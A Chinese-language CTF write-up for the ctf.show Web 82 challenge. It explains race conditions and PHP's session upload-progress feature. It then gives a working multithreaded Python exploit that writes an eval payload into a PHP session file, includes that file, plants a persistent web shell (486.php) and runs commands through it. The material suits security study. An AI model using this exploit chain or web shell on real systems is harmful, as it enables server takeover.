条件竞争漏洞与 Session 的文件上传进度追踪功能

ctf.show Web 82

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这是一道漫长的题目,在解题之前,我们先了解一些东西:

条件竞争漏洞原理与实例

技术原理:在程序运行中,开发者一般希望代码按顺序一条一条执行。但在多线程或多进程的环境下,服务器会并发处理多个请求。如果没有使用合适的同步机制(像锁,它能保证同一时间只有一个线程能访问某个资源 ),这些并发的线程就可能同时操作共享资源,导致结果不可预测。比如两个线程同时读取一个变量的值,然后都对这个值进行修改再写回去,最后保存的值可能不是预期的,因为它们互相干扰了。

以文件上传为例: 有些网站允许用户上传文件,服务器会先检查文件是否符合要求(比如只允许上传图片格式文件 ),如果不符合就删除。在检查和删除之间有个时间差,这就是 “竞争窗口” 。攻击者可以利用这个时间差,快速多次发送上传恶意文件(比如包含恶意代码的 PHP 文件 )的请求。因为服务器在同一时刻可能处理不过来这么多请求,在还没来得及删除不符合要求的文件时,攻击者就可能成功访问到这个恶意文件并让它执行,进而在服务器上植入后门,获取对服务器的控制。类似于DDOS攻击,当请求发送得太多,服务器可能会漏掉一些恶意文件的上传请求,从而导致恶意文件被发送在服务器中造成后门漏洞。
(以上两段摘自www.th-dedsec.top《条件竞争漏洞》2025.04.07)

PHP_SESSION_UPLOAD_PROGRESS 是什么?

PHP_SESSION_UPLOAD_PROGRESS 是 PHP 提供的一个机制,用于实时跟踪文件上传的进度。比如上传一个大文件时,你可以用它获取当前上传的百分比、速度、剩余时间等信息。

工作原理

  • session.upload_progress.enabled 配置项开启时,PHP 脚本在运行过程中一旦检测到表单里存在 name="PHP_SESSION_UPLOAD_PROGRESS" 的字段,就会开启文件上传进度跟踪功能。
  • 此时,当用户上传文件,PHP 会在会话(Session)中生成一个数组,记录该脚本里所有文件上传操作的数据(见下方演示进度信息的数组)。
  • 需要通过其他方式(如 AJAX 轮询)读取这个会话数据,实时显示进度条给用户。

配置要求

1
2
3
4
5
session.upload_progress.enabled = On    ; 启用上传进度跟踪
session.upload_progress.cleanup = On ; 上传完成后自动清理进度数据
session.upload_progress.prefix = "upload_progress_" ; 会成为隐藏字段的value的值在session文件中的前缀,如'upload_progress_my_upload'
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" ; 隐藏字段的名称
session.upload_progress.freq = "1%" ; 每上传1%或1KB更新进度(可设置为百分比或字节,如 1024)

基本使用步骤

  • 表单设置
    在文件上传表单中,必须添加一个名为 PHP_SESSION_UPLOAD_PROGRESS (具体名称由上面提到的配置项 session.upload_progress.name 确定)的隐藏字段:

    1
    2
    3
    4
    5
    6
    <form action="upload.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="my_upload" />
    <input type="file" name="file" />
    <!-- Tips: type="file"时会自动弹出文件选择框,不需要手动设置value -->
    <input type="submit" value="上传" />
    </form>

    只有检测到表单里存在 name="PHP_SESSION_UPLOAD_PROGRESS" 的字段,才会跟踪文件上传进度并写入 Session 中。

  • 读取进度
    通过 AJAX 或其他方式,从前端定期请求一个 PHP 脚本,读取会话中的进度信息(此部分仅作了解,不作演示)。

Session 中的进度信息

会话中的进度信息是一个数组,键为 'upload_progress_my_upload' (具体由 session.upload_progress.prefix 配置项与表单隐藏字段中的 value 拼接而成)包含以下关键字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$_SESSION['upload_progress_my_upload'] = [
"start_time" => 1234567890, // 开始时间戳
"content_length" => 1024000, // 文件总大小(字节)
"bytes_processed" => 512000, // 已上传字节
"done" => false // 是否完成
// 包含每个上传文件详细信息的数组
"files" => [
[
'name' => 'example.jpg', // 文件名
'type' => 'image/jpeg', // 文件类型
'tmp_name' => '/tmp/php5678', // 临时文件名
'error' => 0, // 上传错误码
'size' => 1048576 // 文件大小(字节)
]
]
];

知识了解完了,让我们把目光转向题目:

题目解析

1
2
3
4
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

这里的关键点是 $file = str_replace(".", "???", $file); ,文件名中的.会被替换,所以找文件名不包含.的文件: Session 文件。

已知 Session 文件的名字一般是sess_xxx的形式,那如何知道名字的后半部分呢?其实可以从响应头的 Set-Cookie 或请求头的 Cookie 字段中得到,例如:PHPSESSID=abc123,便得到了名字的后半部分abc123。(详见我之前写的关于 Session 的文章)

如果响应头中没有关于 Session 的内容,那么可以尝试自定义 SessionID 。部分服务器校验机制不可靠,不校验客户端发送的 SessionID 是否由服务端生成。由于服务端没有对应的 Session 文件,所以会生成与客户端自定义 SessionID 对应名字的 Session 文件,从而给攻击者可乘之机。

Burp Suite 解法

操作不方便,不建议。

Python requests 解法

此处借用大佬 Dedsec 的脚本,改了点功能,加了点注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import threading
import io

url = "http://cfeaa93b-4ae8-42b1-bbb3-fcccd32fe6f7.challenge.ctf.show/" # 靶场URL
session_id = "mmk" # 靶场安全机制不可靠,如果有来自客户端的不存在的 session ID 对应的 session 文件,会创建相应的文件
data_session = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php @eval($_POST[1]);?>"} # 将要写入 session 的 payload,使 session 文件被包含时执行 $_POST[1]
data_shell = {"1": "file_put_contents('/var/www/html/486.php','<?php @eval($_GET[cmd]);?>');"} # 执行 read 函数时植入后门 486.php,该文件会执行 $_GET[cmd]
cookies = {"PHPSESSID": session_id}
fileBytes = io.BytesIO(b'a'*1024*1024*10) # 文件大小要足够大,多点上传时间,为读取到 session 文件创造机会
files = {'file': ('gbc.png', fileBytes)}
exit_event = threading.Event() # 定义全局事件,用于结束线程

def write(session):
while not exit_event.is_set():
session.post(url, # 上传文件,并利用 "PHP_SESSION_UPLOAD_PROGRESS" 字段写入 payload
data= data_session,
cookies=cookies,
files=files)

def read(session):
while not exit_event.is_set():
session.post(url+"?file=/tmp/sess_"+session_id, # 包含 session 文件,植入后门
data= data_shell,
cookies=cookies)
response = session.get(url + "486.php") # 检测后门是否植入成功
if response.status_code == 200:
print("awa 486 desu!\n")
exit_event.set() # 植入后门成功,结束线程
else:
print(f"状态码:{response.status_code}\n")

def execute(session): # 最后查看目录内容,以便手动选择要查看的文件
response = session.get(url + "486.php?cmd=system('ls');") # 注意之前的 url 变量末尾是否有 "/"
print(response.text)

def main():
with requests.session() as session:
for _ in range(10):
threading.Thread(target=write, args=(session,)).start()
for _ in range(10):
threading.Thread(target=read, args=(session,)).start()

# threading.Thread(): 创建一个新的线程对象
# target=read: 指定线程要执行的函数是 read
# args=(session,): 传递给 read 函数的参数,这里是一个元组,包含 session 变量(注意:(session,) 中的逗号是必须的,表示这是一个单元素元组)
# .start(): 启动线程,使其开始执行目标函数

exit_event.wait() # 让当前线程阻塞,直到 exit_event 这个事件对象的内部标志被设置为 True
execute(session)

if __name__ == '__main__': # 此处指作为脚本执行时会调用 main() 函数,作为模块引入时不会
main()

(以上代码摘自www.th-dedsec.top《条件竞争漏洞》2025.04.07)

最后根据文件目录的内容,在 URL 中手动构造 Payload 给 486.php 文件传参即可获得 flag 。

为什么要植入后门?

Session 文件里的文件上传数据不会自动删除,但为了防止服务端后续有删除 session 文件里的 "PHP_SESSION_UPLOAD_PROGRESS":"<?php @eval($_POST[1]);?>" 等数据的操作,需要一个长期存在的后门完成下一步。

requests.session() 做什么用?

其实在这里没什么用,因为网站没有返回可供它管理的 Cookie ,详见我写的关于 requests 库的文章。

全过程流程

  • 向 Session 文件中写入 Payload。

  • 向网站传参(既通过 URL 传参给 $_GET[] 数组,也通过 POST 传参给 $_POST[] 数组),包含 Session 文件并植入后门。

  • 访问后门文件,通过 URL 传参执行 ls 命令,查看目录内容。

  • 手动构造 Payload 查看 flag 文件。